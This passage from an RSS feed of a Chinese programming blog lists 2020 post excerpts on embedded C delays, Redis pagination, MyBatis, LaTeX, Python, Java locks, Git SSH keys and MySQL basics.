&amp;gt;&#xA;如果大家喜欢我们的文章，欢迎大家转发，点击在看让更多的人看到。也欢迎大家热爱技术和学习的朋友加入的我们的知识星球当中，我们共同成长，进步。</description>
    </item>
    <item>
      <title>程序卡死在while(TimingDelay!=0);（keil优化造成的）</title>
      <link>https://bchobby.github.io/posts/3c0d1d781906a8ed2ae3ee51d3826535/</link>
      <pubDate>Thu, 19 Mar 2020 21:40:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c0d1d781906a8ed2ae3ee51d3826535/</guid>
      <description>可能原因 1、声明TimingDelay时要使用volatile修饰（keil编译前对TimingDelay进行了默认优化造成的） 2、也可能是main中没有调用systick_init(); void Delay_ms(__IO u32 nTime)&#xA;{&#xA;TimingDelay = nTime;&#xA;if (SysTick_Config(SystemCoreClock / 1000)) //1us中断一次&#xA;{&#xA;while (1);&#xA;} // 使能滴答定时器 SysTick-&amp;gt;CTRL |= SysTick_CTRL_ENABLE_Msk;&#xA;while(TimingDelay != 0); SysTick-&amp;gt;CTRL &amp;amp;= ~ SysTick_CTRL_ENABLE_Msk;&#xA;}</description>
    </item>
    <item>
      <title>隐私政策网址(URL)</title>
      <link>https://bchobby.github.io/posts/30e9d60f3353d1ae59ef724c6751259b/</link>
      <pubDate>Thu, 19 Mar 2020 20:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30e9d60f3353d1ae59ef724c6751259b/</guid>
      <description>隐私政策网址(URL)&#xA;本软件尊重并保护所有使用服务用户的个人隐私权。为了给您提供更准确、更有个性化的服务，本软件会按照本隐私权政策的规定使用和披露您的个人信息。但本软件将以高度的勤勉、审慎义务对待这些信息。除本隐私权政策另有规定外，在未征得您事先许可的情况下，本软件不会将这些信息对外披露或向第三方提供。本软件会不时更新本隐私权政策。您在同意本软件服务使用协议之时，即视为您已经同意本隐私权政策全部内容。本隐私权政策属于本软件服务使用协议不可分割的一部分。&#xA;1.适用范围&#xA;a)在您使用本软件网络服务，本软件自动接收并记录的您的手机上的信息，包括但不限于您的健康数据、使用的语言、访问日期和时间、软硬件特征信息及您需求的网页记录等数据；&#xA;2.信息的使用&#xA;a)在获得您的数据之后，本软件会将其上传至服务器，以生成您的排行榜数据，以便您能够更好地使用服务。&#xA;3.信息披露&#xA;a)本软件不会将您的信息披露给不受信任的第三方。&#xA;b)根据法律的有关规定，或者行政或司法机构的要求，向第三方或者行政、司法机构披露；&#xA;c)如您出现违反中国有关法律、法规或者相关规则的情况，需要向第三方披露；&#xA;4.信息存储和交换&#xA;本软件收集的有关您的信息和资料将保存在本软件及（或）其关联公司的服务器上，这些信息和资料可能传送至您所在国家、地区或本软件收集信息和资料所在地的境外并在境外被访问、存储和展示。&#xA;5.信息安全&#xA;a)在使用本软件网络服务进行网上交易时，您不可避免的要向交易对方或潜在的交易对方披露自己的个人信息，如联络方式或者邮政地址。请您妥善保护自己的个人信息，仅在必要的情形下向他人提供。如您发现自己的个人信息泄密，请您立即联络本软件客服，以便本软件采取相应措施。</description>
    </item>
    <item>
      <title>Java小程序 输入一个字符串，将每一个单词首字母大写</title>
      <link>https://bchobby.github.io/posts/e5ec7d465bbf7868c4eb8fc95e8343b4/</link>
      <pubDate>Thu, 19 Mar 2020 17:32:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5ec7d465bbf7868c4eb8fc95e8343b4/</guid>
      <description>Java 小程序 01 输入一个字符串，将每一个单词首字母大写 1.首先写一个接收传入的单词，并将传入单词首字母大写。这一步比较简单，没什么好说的！&#xA;private String titleCase (String str) { //转换操作，将传入的字符串的首字母取出后转换为大写，然后在传回 String s = str.charAt(0)+&#34;&#34;; s=s.toUpperCase(); str=s+str.substring(1); return str; } 2.写接收一个需要将每个单词首字母改为大写的字符串和分隔字符串的符号，都是String类型。然后通过split() 方法将字符串语句str分隔成单词，存储在array数组中，通过for循环，将分隔好的单词传入titleCase ()中，然后通过创建StringBuilder 来存储修改好的单词。&#xA;public String transformation(String str,String character) { //将传入的字符串已给定的字符串切割，然后进行处理 String[] array = str.split(character); StringBuilder sbu = new StringBuilder(); for (int i = 0; i &amp;lt; array.length; i++) { if(i!=0) sbu.append(&#34; &#34;); sbu.append(titleCase(array[i])); } return sbu.toString(); } 以上两个主要方法&#xA;下面是完整实现代码：&#xA;import java.util.*; @SuppressWarnings(&#34;resource&#34;) public class StringTransformation { private String str ; public StringTransformation(String str, String character) { inspect(str); inspect(character); this.</description>
    </item>
    <item>
      <title>移远EC20 获取基站时间来给终端对时</title>
      <link>https://bchobby.github.io/posts/16fdae58228dd3fcd593b2bbe60b66ba/</link>
      <pubDate>Thu, 19 Mar 2020 15:45:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16fdae58228dd3fcd593b2bbe60b66ba/</guid>
      <description>移远EC20 获取基站时间来给终端对时 第一节 EC20 手册说明 AT +CCLK 该命令用来获取模组的系统时间。 &amp;lt;time&amp;gt; String type value, format is “yy/MM/dd,hh:mm:ss±zz”, indicate year (two last digits), month, day, hour, minutes, seconds and time zone (indicates the difference, expressed in quarters of an hour, between the local time and GMT; range -48...+56). E.g. May 6th, 1994, 22:10:00 GMT+2 hours equals to “94/05/06,22:10:00+08”. Example AT+CCLK? //Query the local time +CCLK: “08/01/04,00:19:43+00” OK AT+CTZU automatic time zone update Set command enables and disables automatic time zone update via NITZ.</description>
    </item>
    <item>
      <title>redis实现分页的方法</title>
      <link>https://bchobby.github.io/posts/ff137a4c9256abe2117d3559f4df9371/</link>
      <pubDate>Thu, 19 Mar 2020 12:33:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff137a4c9256abe2117d3559f4df9371/</guid>
      <description>每个主题下的用户的评论组装好写入Redis中，每个主题会有一个topicId，每一条评论会和topicId关联起来，大致的数据模型如下：&#xA;{ topicId: &#39;xxxxxxxx&#39;, comments: [ { username: &#39;niuniu&#39;, createDate: 1447747334791, content: &#39;在Redis中分页&#39;, commentId: &#39;xxxxxxx&#39;, reply: [ { content: &#39;yyyyyy&#39; username: &#39;niuniu&#39; }, ... ] }, ... ]}&#xA;将评论数据从MySQL查询出来组装好存到Redis后，以后每次就可以从Redis获取组装好的评论数据，从上面的数据模型可以看出数据都是key-value型数据，无疑要采用hash进行存储，但是每次拿取评论数据时需要分页而且还要按createDate字段进行排序，hash肯定是不能做到分页和排序的。&#xA;那么，就挨个看一下Redis所支持的数据类型：&#xA;1、String: 主要用于存储字符串，显然不支持分页和排序。&#xA;2、Hash: 主要用于存储key-value型数据，评论模型中全是key-value型数据，所以在这里Hash无疑会用到。&#xA;3、List: 主要用于存储一个列表，列表中的每一个元素按元素的插入时的顺序进行保存，如果我们将评论模型按createDate排好序后再插入List中，似乎就能做到排序了，而且再利用List中的LRANGE key start stop指令还能做到分页。嗯，到这里List似乎满足了我们分页和排序的要求，但是评论还会被删除，就需要更新Redis中的数据，如果每次删除评论后都将Redis中的数据全部重新写入一次，显然不够优雅，效率也会大打折扣，如果能删除指定的数据无疑会更好，而List中涉及到删除数据的就只有LPOP和RPOP这两条指令，但LPOP和RPOP只能删除列表头和列表尾的数据，不能删除指定位置的数据,(备注：其实还有 LREM命令可以做到删除，但是非常不方便)，而且当存在接口高并发访问时，这个list可能会无限延长，且里面的数据会存在很多重复，这就会影响到正常的业务，所以List也不太适合。&#xA;4、Set: 主要存储无序集合，无序！排除。&#xA;5、SortedSet: 主要存储有序集合，SortedSet的添加元素指令ZADD key score member [[score,member]…]会给每个添加的元素member绑定一个用于排序的值score，SortedSet就会根据score值的大小对元素进行排序，在这里就可以将createDate当作score用于排序，SortedSet中的指令ZREVRANGE key start stop又可以返回指定区间内的成员，可以用来做分页，SortedSet的指令ZREM key member可以根据key移除指定的成员，能满足删评论的要求，所以，SortedSet在这里是最适合的（时间复杂度O(log(N))）。&#xA;所以，需要用到的数据类型有SortSet和Hash，SortSet用于做分页排序，Hash用于存储具体的键值对数据。SortSet结构中将每个主题的topicId作为set的key，将与该主题关联的评论的createDate和commentId分别作为set的score和member，commentId的顺序就根据createDate的大小进行排列。&#xA;当需要查询某个主题某一页的评论时，就可主题的topicId通过指令zrevrange topicId (page-1)×10 (page-1)×10+perPage这样就能找出某个主题下某一页的按时间排好顺序的所有评论的commintId。page为查询第几页的页码，perPage为每页显示的条数。&#xA;当找到所有评论的commentId后，就可以把这些commentId作为key去Hash结构中去查询该条评论对应的内容。&#xA;这样就利用SortSet和Hash两种结构在Redis中达到了分页和排序的目的。&#xA;当然，也可以直接只使用SrotedSet类型，而不使用Hash类型，直接将评论存放在member中。&#xA;但为什么要将评论和排序放到不同的类型里？其中的好处是，可以对评论设置不同的排序类型，比如按时间的正反序，点赞的正反序，查看次数的正反序等。而这样只需要维护不同的SrotedSet排序，不需要维护多套评论的内容了。&#xA;详细代码参考：https://www.cnblogs.com/afeng2010/p/10042790.html</description>
    </item>
    <item>
      <title>5种Redis数据结构详解</title>
      <link>https://bchobby.github.io/posts/37e070878e8362072f6ef23c3e0e429c/</link>
      <pubDate>Thu, 19 Mar 2020 11:59:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37e070878e8362072f6ef23c3e0e429c/</guid>
      <description>本文我们主要和大家分享 5种Redis数据结构详解，希望文中的案例和代码，能帮助到大家。&#xA;2.1.1 全局命令&#xA;1 查看所有键 key*&#xA;2 键总数 dbsize (dbsize命令在计算键总数的时候不会遍历所有键，而是直接获取Redis内置的键总数变量，时间复杂度为O（1），而keys命令会遍历所有键，时间复杂度为O（n）,当Redis保存了大量键时，线上环境禁止使用)&#xA;3 检查键是否存在 exists key 存在返回1，不存在返回0&#xA;4 删除键 del key 返回成功删除键的个数，不存在的返回0&#xA;5 键过期 expire key seconds ttl 命令会返回剩余过期时间 -1 键没设置过期时间 -2 键不存在&#xA;6 键的数据类型结构 type key 返回类型，不存在返回none 2.1.2 数据结构和内部编码&#xA;每种数据结构都有自己的底层的内部编码实现，而且是多种实现，这样Redis会在合适的场景选择合适的内部编码&#xA;每种数据结构都有两种以上的内部编码实现，例如list数据结构包含了linkedlist和ziplist两种内部编码，可以通过object encoding命令查询内部编码&#xA;Redis这样设计有两个好处：第一：可以改进内部编码，而对外的数据结构和命令没有影响。第二 多种内部编码实现可以在不同的场景下发挥各自的优势。比如，ziplist比较节省内存，但是列表元素比较多的情况下，性能有所下降，这时候Redis会根据配置选项将列表类型的内部实现转换为linkedlist&#xA;2.1.3 单线程架构&#xA;Redis使用了单线程架构和I/O多路复用模型来实现高性能的内存数据库服务&#xA;1 引出单线程模型&#xA;调用客户端的过程：发送命令，执行命令，返回结果&#xA;所有的命令在一个队列里排队等待被执行，不存在多个命令被同时执行的情况&#xA;2 为什么单线程还能跑这么快&#xA;第一，纯内存访问，Redis将所有数据放在内存中，内存的响应时间长约100纳秒，这是Redis达到每秒万级别访问的重要基础&#xA;第二，非阻塞I/O,Redis使用epoll作为I/O多路复用技术的实现，再加上Redis自身的事件处理模型将epoll中的连接、读写、关闭都转换为事件，不在网络I/O上浪费过多的时间&#xA;第三 单线程避免了线程切换和竟态产生的消耗&#xA;单线程带来几个好处：第一，单线程简化数据结构和算法的实现。第二，单线程避免了线程切换和竟态产生的消耗。但是对于每个命令的执行命令是有要求的，如果某个命令执行时间过长，就会造成其他命令的阻塞，Redis是面向快速执行场景的数据库，单线程是理解Redis的核心&#xA;2.2 字符串&#xA;Redis的字符串类型是其他几种的基础，值可以是字符串(简单，复杂的json,xml)，数字（整型，浮点），二进制（图片，音频，视频），最大值不能超过512MB&#xA;2.2.1 命令&#xA;1 常用命令&#xA;1 设置值 set key value 秒级过期时间 毫秒级过期时间 nx|xx</description>
    </item>
    <item>
      <title>mybatis多表查询(一个实体包含其他对象)</title>
      <link>https://bchobby.github.io/posts/a065f3b8c92032f2371c2e5c175e8532/</link>
      <pubDate>Wed, 18 Mar 2020 20:24:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a065f3b8c92032f2371c2e5c175e8532/</guid>
      <description>场景重现：&#xA;top_trans_order 订单表中是一笔交易的核心数据&#xA;top_trans_extend 订单拓展表中存储该笔交易的附加信息&#xA;需求：展示当前订单的全部信息 则必须获取交易拓展表中该笔交易的相关数据&#xA;解决方法：&#xA;Order 实体类包含它自身的所有字段属性，与此同时还要把交易拓展实体当做订单实体的属性&#xA;例如&#xA;一、实体类写法&#xA;@Data public class TopTransOrder { private Long id; private String ordId; private String sourceRegionId; private String regionId; private String routeRegionId; private String productId; private String reqDate; ....... 多个字段 // 交易拓展信息实体 topTransExtend必须与xml中的property属性值相同 private TopTransExtend topTransExtend; } 二、mybatis映射器.xml写法&#xA;resultMap=“transExtendMap” 为拓展实体的map对应的ID&#xA;&amp;lt;resultMap id=&#34;BaseResultMap&#34; type=&#34;类Order全路径&#34;&amp;gt; &amp;lt;id column=&#34;id&#34; jdbcType=&#34;BIGINT&#34; property=&#34;id&#34; /&amp;gt; &amp;lt;result column=&#34;ord_id&#34; jdbcType=&#34;VARCHAR&#34; property=&#34;ordId&#34; /&amp;gt; &amp;lt;result column=&#34;source_region_id&#34; jdbcType=&#34;VARCHAR&#34; property=&#34;sourceRegionId&#34; /&amp;gt; &amp;lt;result column=&#34;</description>
    </item>
    <item>
      <title>LaTeX入门｜(1)从Word到LaTeX：LateX排版常用指令</title>
      <link>https://bchobby.github.io/posts/a068128ccbb27b1f7f4eaa282d08c200/</link>
      <pubDate>Wed, 18 Mar 2020 19:10:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a068128ccbb27b1f7f4eaa282d08c200/</guid>
      <description>从word的需要到latex的使用 写在前面 学习latex之前大多数使用word的，甚至精通word排版的，对于latex这种使用代码编程进行论文排版或ppt制作就显得比较费劲，比如平时很简单的居中、加粗、空行、插图等一键操作，到了latex中就抓瞎。&#xA;为了写个作业模板（为论文模板作准备），我尝试了word的一些常用功能，并总结了其LaTeX的表述方式，总结在下文中。这里并没有做到干湿分离（命令与文本分离），只是单纯为了实现想要的操作。&#xA;一、准备工作 环境准备 环境：MacOS Catalina 10.15.3&#xA;tex版本：Texlive2019&#xA;编辑器：TexStudio or VScode&#xA;下载texlive2019后一路next即可，在终端验证是否安装成功，最好打开texlive utilitly进行安装包的更新，以防出错；下载texstudio之后，打开设置–&amp;gt;常规–&amp;gt;语言，设置为中文，打开构建，选择默认编译器为xeLatex。&#xA;Latex的构成 latex可以分成命令与文本，故大的构成为导言区与正文区，导言区的基本指令为指明文档类与加载宏包&#xA;\documentclass[选项]{文档类} \usepackage{宏包} 正文区的基本构成如下：&#xA;\begin{document} 正文 \end{document} Hello TeX 加载文档类（article、book、letter等），加载宏包（ctex、amsmath等）在document环境中可以输入正文，简单示例如下：&#xA;\documentclass[a4paper, UTF8]{article} % 使用UTF-8编码，默认纸张为A4 \usepackage{ctex} \begin{document} This is my first Latex document.\\ Hello TeX! \end{document} macOS此时会出现无法加载中文的情况，及时使用UTF8&#xA;方法一：&#xA;\usepakage[fontset=mac]{ctex}&#xA;方法二：&#xA;\usepakage{CJK}&#xA;\setCJKmainfont{Songti SC} %使用系统中文字体库&#xA;二、中文排版说明 用word写文档时，一般使用默认设置，然后直接打字、空格、回车或者点点工具栏即可完成一篇文档&#xA;页面设置-geometry latex进行页面设置需要加载geometry宏包。在指明文档类的时候可以设置纸张大小，也就是设置了paperheight和paperwidth，我们可以从word页面设置上将参数复制过来，使用如下命令进行页面设置。&#xA;\usepackage{geometry} \geometry{ a4paper, left=3.17cm, right=3.17cm, top=2.54cm, bottom=2.54cm, headsep=1.5cm, footskip=1.75cm } 页眉页脚-fancy 页眉页脚设置需调用 f a n c y fancy fancy宏包。</description>
    </item>
    <item>
      <title>用大白话讲清 -&gt; Python的__new__()方法</title>
      <link>https://bchobby.github.io/posts/39cb69c1d50d38b270e125ab9a5ef6ab/</link>
      <pubDate>Wed, 18 Mar 2020 18:48:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39cb69c1d50d38b270e125ab9a5ef6ab/</guid>
      <description>一、new方法的作用 作用：new方法主要是在内存中为对象分配空间并且返回对象的引用&#xA;class Test(object): def __new__(cls, *args, **kwargs): print(&#34;new方法被执行啦&#34;) test = Test() print(test) # 执行的结果： new方法被执行啦 None 1、因为new方法是一个魔术方法（魔术方法就是类被加载的时候，就会自动执行的方法），所以我们创建一个Test的实例的时候，就执行了new方法，输出了&#34;new方法被执行啦&#34;这句话。&#xA;2、print一个实例，就是调用这个实例的str方法，我们没有重写str方法，所以应该会输出这个实例的内存地址值。&#xA;3、不过我们重写了new方法，所以内存中没有开辟空间，故而str只能输出None&#xA;二、什么时候重写new方法 因为python所有的类都是继承object类的，所以不重写new方法也照样能够继承下来使用，但是当我们想让任意个实例的内存地址值都是同一个时，我们就需要重写new方法了，几乎是个固定格式&#xA;总结：&#xA;需要使N个实例都是同一个内存地址时，重写new方法&#xA;需要时N个实例是N个内存地址时，不要重写new方法&#xA;class Test(object): # 定义一个类属性 instance = None # 重写new方法 def __new__(cls, *args, **kwargs): # 判断类属性是否为空,如果为空,则调用父类的new方法开辟空间. if cls.instance is None: # 注意：new是一个静态方法，在调用时需要主动传递cls参数 cls.instance = super().__new__(cls) return cls.instance # 否则返回原有值 else: return cls.instance test01 = Test() print(test01) test02 = Test() print(test02) #执行结果 &amp;lt;__main__.Test object at 0x000001FFE50E9438&amp;gt; &amp;lt;__main__.</description>
    </item>
    <item>
      <title>texlive  miktex 更换镜像</title>
      <link>https://bchobby.github.io/posts/929ec7561f704aa473514d7e37b472fe/</link>
      <pubDate>Wed, 18 Mar 2020 18:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/929ec7561f704aa473514d7e37b472fe/</guid>
      <description>比如华科大镜像 华中科技大学开源镜像站&#xA;如果你用texlive，那么包管理器名字就叫tlmgr.exe，在命令提示符里运行如下命令&#xA;tlmgr option repository http://mirror.hust.edu.cn/CTAN/systems/texlive/tlnet/ 如果你用miktex，包管理器叫mpm.exe 。运行如下命令就可更换到浙江大学：&#xA;mpm.exe --set-repository= http://mirrors.zju.edu.cn/CTAN/systems/win32/miktex/tm/packages/ 还可以运行&#xA;mpm.exe --list-repositories 来查看各个URL的格式&#xA;作者：朴素的贝叶斯&#xA;链接：https://www.zhihu.com/question/26584112/answer/269623053&#xA;来源：知乎&#xA;著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。</description>
    </item>
    <item>
      <title>PTA---01-复杂度1 最大子列和问题</title>
      <link>https://bchobby.github.io/posts/d4999205bf28369a25f49583ad227e24/</link>
      <pubDate>Wed, 18 Mar 2020 18:11:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4999205bf28369a25f49583ad227e24/</guid>
      <description>给定K个整数组成的序列{ N1,N2,…,NK}，“连续子列”被定义为{Ni,Ni+1,…,Nj}，其中 1≤i≤j≤K。“最大子列和”则被定义为所有连续子列元素的和中最大者。例如给定序列{ -2, 11, -4, 13, -5, -2 }，其连续子列{ 11, -4, 13 }有最大的和20。现要求你编写程序，计算给定整数序列的最大子列和。&#xA;本题旨在测试各种不同的算法在各种数据情况下的表现。各组测试数据特点如下：&#xA;数据1：与样例等价，测试基本正确性；数据2：102个随机整数；数据3：103个随机整数；数据4：104个随机整数；数据5：105个随机整数； 输入格式: 输入第1行给出正整数K (≤100000)；第2行给出K个整数，其间以空格分隔。&#xA;输出格式: 在一行中输出最大子列和。如果序列中所有整数皆为负数，则输出0。&#xA;输入样例: 6&#xA;-2 11 -4 13 -5 -2&#xA;输出样例: 20&#xA;根据浙江大学的数据结构课程，陈越姥姥的讲解，这里给出她在课堂上四个算法的实现代码。&#xA;算法1：复杂度T(N) = O(n^3) int MaxSubseqSum1(int a[], int n) { int max = 0; int i,j,k; int thisSum; for (i = 0; i &amp;lt; n; i++)//i是子列左端位置 { for(j = i; j &amp;lt; n; j++)//j是子列右端位置 { thisSum = 0;//thisSum是从a[i]到a[j]的子列和 for(k = i; k &amp;lt; j; k++) thisSum += a[k]; if(thisSum &amp;gt; max)//如果刚得到的这个子列和更大 max = thisSum;//则更新结果 }//j循环结束 }//i循环结束 return max; } 算法2：复杂度T(N) = O(n^2) int MaxSubseqSum2(int a[], int n) { int max = 0; int i,j; int thisSum; for (i = 0; i &amp;lt; n; i++)//i是子列左端位置 { thisSum = 0;//thisSum是从a[i]到a[j]的子列和 for(j = i; j &amp;lt; n; j++)//j是子列右端位置 { thisSum += a[j];//对于相同的i，不同的j，只要在j-1次循环的基础上累加1项即可 if(max &amp;lt; thisSum)//如果刚得到的这个子列和更大 max = thisSum;//则更新结果 }//j循环结束 }//i循环结束 return max; } 算法3 ，分而治之 ，复杂度O(Nlogn) int Max3( int A, int B, int C ) { /* 返回3个整数中的最大值 */ return A &amp;gt; B ?</description>
    </item>
    <item>
      <title>小程序二维码base64转为图片（二维码的获取）</title>
      <link>https://bchobby.github.io/posts/06a14f1143d31f5dc7d8b459e82875c5/</link>
      <pubDate>Wed, 18 Mar 2020 15:31:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06a14f1143d31f5dc7d8b459e82875c5/</guid>
      <description>一、base64&#xA;1、base64图片&#xA;base64 格式图片数据，无法被 getImageInfo直接调用&#xA;2、解决方法&#xA;1、首先使用 wx.base64ToArrayBuffer 将 base64 数据转换为 ArrayBuffer 数据&#xA;2、使用 FileSystemManager.writeFile 将 ArrayBuffer 数据写为本地用户路径的二进制图片文件&#xA;3、此时的图片文件路径在 wx.env.USER_DATA_PATH 中， wx.getImageInfo 接口能正确获取到这个图片资源并 drawImage 至 canvas 上&#xA;封装一个js文件&#xA;const fsm = wx.getFileSystemManager();&#xA;const FILE_BASE_NAME = ‘tmp_base64src’;&#xA;const base64src = function(base64data) {&#xA;return new Promise((resolve, reject) =&amp;gt; {&#xA;const [, format, bodyData] = /data:image/(\w+);base64,(.*)/.exec(base64data) || [];&#xA;if (!format) {&#xA;reject(new Error(‘ERROR_BASE64SRC_PARSE’));&#xA;}&#xA;const filePath = ${wx.env.USER_DATA_PATH}/${FILE_BASE_NAME}.${format};&#xA;const buffer = wx.base64ToArrayBuffer(bodyData);</description>
    </item>
    <item>
      <title>java中同步锁synchronized与Lock的区别</title>
      <link>https://bchobby.github.io/posts/73283461df853607d472f6477f30e1a7/</link>
      <pubDate>Wed, 18 Mar 2020 14:54:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73283461df853607d472f6477f30e1a7/</guid>
      <description>同步锁：&#xA;java的内置锁：每个java对象都可以用做一个实现同步的锁，这些锁成为内置锁。线程进入同步代码块或方法的时候会自动获得该锁，在退出同步代码块或方法时会释放该锁。获得内置锁的唯一途径就是进入这个锁的保护的同步代码块或方法。&#xA;java内置锁是一个互斥锁，这就是意味着最多只有一个线程能够获得该锁，当线程A尝试去获得线程B持有的内置锁时，线程A必须等待或者阻塞，知道线程B释放这个锁，如果B线程不释放这个锁，那么A线程将永远等待下去。（目的：只有一个线程可执行）&#xA;两者区别：&#xA;1.首先synchronized是java内置关键字，在jvm层面，Lock是个java类；&#xA;2.synchronized无法判断是否获取锁的状态，Lock可以判断是否获取到锁；&#xA;3.synchronized会自动释放锁(a 线程执行完同步代码会释放锁 ；b 线程执行过程中发生异常会释放锁)，Lock需在finally中手工释放锁（unlock()方法释放锁），否则容易造成线程死锁；&#xA;4.用synchronized关键字的两个线程1和线程2，如果当前线程1获得锁，线程2线程等待。如果线程1阻塞，线程2则会一直等待下去，而Lock锁就不一定会等待下去，如果尝试获取不到锁，线程可以不用一直等待就结束了；&#xA;5.synchronized的锁可重入、不可中断、非公平，而Lock锁可重入、可判断、可公平（两者皆可）&#xA;6.Lock锁适合大量同步的代码的同步问题，synchronized锁适合代码少量的同步问题。&#xA;7.最重要的是Lock是一个接口，而synchronized是一个关键字，synchronized放弃锁只有两种情况：①线程执行完了同步代码块的内容②发生异常；而lock不同，它可以设定超时时间，也就是说他可以在获取锁时便设定超时时间，如果在你设定的时间内它还没有获取到锁，那么它会放弃获取锁然后响应放弃操作。&#xA;synchronized关键字的用法示例：分别分析这两种用法在对象锁和类锁上的效果。&#xA;对象锁的synchronized修饰方法和代码块：&#xA;public class TestSynchronized { public void test1() { synchronized(this) { int i = 5; while( i-- &amp;gt; 0) { System.out.println(Thread.currentThread().getName() + &#34; : &#34; + i); try { Thread.sleep(500); } catch (InterruptedException ie) { } } } } public synchronized void test2() { int i = 5; while( i-- &amp;gt; 0) { System.out.println(Thread.currentThread().getName() + &#34;</description>
    </item>
    <item>
      <title>【Git】Authentication failed for 错误解决</title>
      <link>https://bchobby.github.io/posts/39256b995e9fd1be3c9583cc40f3f287/</link>
      <pubDate>Wed, 18 Mar 2020 12:41:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39256b995e9fd1be3c9583cc40f3f287/</guid>
      <description>一、问题描述 git 操作远程仓库代码时，出现如下错误：&#xA;Authentication failed for &#39;http://example.git/&#39; 二、错误原因 出现这种问题可能有以下几点：&#xA;git的密码输入错误或密码修改后没有及时更新；&#xA;git的账户被锁定。这个也是本人出错的原因，这儿跟大家分享一下解决方法。&#xA;三、解决 1、如果是第一条原因引起的，则：在控制面板的凭据管理器中找到windows凭据，将git的密码修改成已经改过的新密码，或直接删除（下次操作时会要求重新输入账号和密码）。如下：&#xA;2、如果是第二条原因引起的，找相关人员解锁账户即可。&#xA;系列文章 Git专栏 Git使用（一）：安装与配置&#xA;Git使用（二）：创建项目并提交到远程仓库&#xA;Git使用（三）：分支管理，创建分支、合并分支、合并分支的某一次提交等&#xA;Git使用（四）：提交管理，修改提交信息、合并多次提交、版本回退、撤销本地文件修改等&#xA;Git使用（五）：解决冲突以及如何避免冲突&#xA;SmartGit 安装及使用（一）：安装及配置&#xA;SmartGit 安装及使用（二）：工作界面介绍、提交代码以及防止代码冲突等操作&#xA;SmartGit 安装及使用（三）：修改提交记录、合并多次提交、撤销本地文件修改、版本回退等操作&#xA;SmartGit 安装及使用（四）：创建、合并分支、合并某一次提交以及解决冲突等操作&#xA;SmartGit 安装及使用（附录）：注册非商业许可证&#xA;【Git】如何生成SSH key&#xA;【Git】.gitignore文件语法以及修改后无效的解决办法&#xA;【Git】Authentication failed for 错误解决&#xA;【Git】SSL certificate problem: unable to get local issuer certificate错误的解决办法&#xA;【Git】error: RPC failed； curl 92 HTTP/2 stream 0 was not closed cleanly: PROTOCOL_ERROR</description>
    </item>
    <item>
      <title>第三章《数据表的基本操作》</title>
      <link>https://bchobby.github.io/posts/ad5b7ee342d251d898b25bdca0abb504/</link>
      <pubDate>Wed, 18 Mar 2020 12:12:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad5b7ee342d251d898b25bdca0abb504/</guid>
      <description>1.关于表&#xA;表示数据库存储数据的基本单位。一个表可以包含若干个字段或者是记录。表的操作包括创建表、修改表、删除表。创建数据表的过程是规定数据列的属性的过程，同时也是实施数据完整性约束的过程。&#xA;1.创建表：&#xA;数据表属于数据库，在创建数据表之前，应该使用“USE &amp;lt;数据库名&amp;gt;”移动到指定的数据库下。&#xA;如果没有选择数据库，创建表时会报错；&#xA;创建表的语法：&#xA;CREATE TABLE table_name&#xA;(&#xA;字段1 数据类型 [完整性约束条件]，&#xA;字段2 数据类型 [完整性约束条件]，&#xA;…&#xA;);&#xA;mysql&amp;gt; create table hahaha //创建表&#xA;-&amp;gt; (&#xA;-&amp;gt; id INT(10),&#xA;-&amp;gt; name VARCHAR(25),&#xA;-&amp;gt; sex VARCHAR(10)&#xA;-&amp;gt; );&#xA;mysql&amp;gt; show tables; //查看表&#xA;±-------------+&#xA;| Tables_in_hy |&#xA;±-------------+&#xA;| hahaha |&#xA;±-------------+&#xA;mysql&amp;gt; desc hahaha; //查看表的结构&#xA;±------±------------±-----±----±--------±------+&#xA;| Field | Type | Null | Key | Default | Extra |&#xA;±------±------------±-----±----±--------±------+</description>
    </item>
    <item>
      <title>【Git】如何生成SSH key</title>
      <link>https://bchobby.github.io/posts/2a4ae522ea70fb77f62c12d15f1e2047/</link>
      <pubDate>Wed, 18 Mar 2020 10:43:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a4ae522ea70fb77f62c12d15f1e2047/</guid>
      <description>1、检查SSH keys是否存在 在命令行中输入：&#xA;ls -al ~/.ssh 如果有文件 id_rsa 和 id_rsa.pub ，则直接进入步骤3将SSH key添加到GitHub中，否则进入第二步生成SSH key。&#xA;2、生成新的ssh key 在命令行中输入：&#xA;ssh-keygen -t rsa -C &#34;email@example.com&#34; 默认会在（/home_path）路径下生成 id_rsa 和 id_rsa.pub 两个文件，如下：&#xA;3、将ssh key添加到GitHub中 用编辑器（或用 vim命令 ）打开 id_rsa.pub 文件，然后将里面的信息制到 GitHub 的 Add SSH key 页面即可。&#xA;系列文章 Git专栏 Git使用（一）：安装与配置&#xA;Git使用（二）：创建项目并提交到远程仓库&#xA;Git使用（三）：分支管理，创建分支、合并分支、合并分支的某一次提交等&#xA;Git使用（四）：提交管理，修改提交信息、合并多次提交、版本回退、撤销本地文件修改等&#xA;Git使用（五）：解决冲突以及如何避免冲突&#xA;SmartGit 安装及使用（一）：安装及配置&#xA;SmartGit 安装及使用（二）：工作界面介绍、提交代码以及防止代码冲突等操作&#xA;SmartGit 安装及使用（三）：修改提交记录、合并多次提交、撤销本地文件修改、版本回退等操作&#xA;SmartGit 安装及使用（四）：创建、合并分支、合并某一次提交以及解决冲突等操作&#xA;SmartGit 安装及使用（附录）：注册非商业许可证&#xA;【Git】如何生成SSH key&#xA;【Git】.gitignore文件语法以及修改后无效的解决办法&#xA;【Git】Authentication failed for 错误解决&#xA;【Git】SSL certificate problem: unable to get local issuer certificate错误的解决办法</description>
    </item>
    <item>
      <title>python3运行随机森林代码时出现：DataConversionWarning</title>
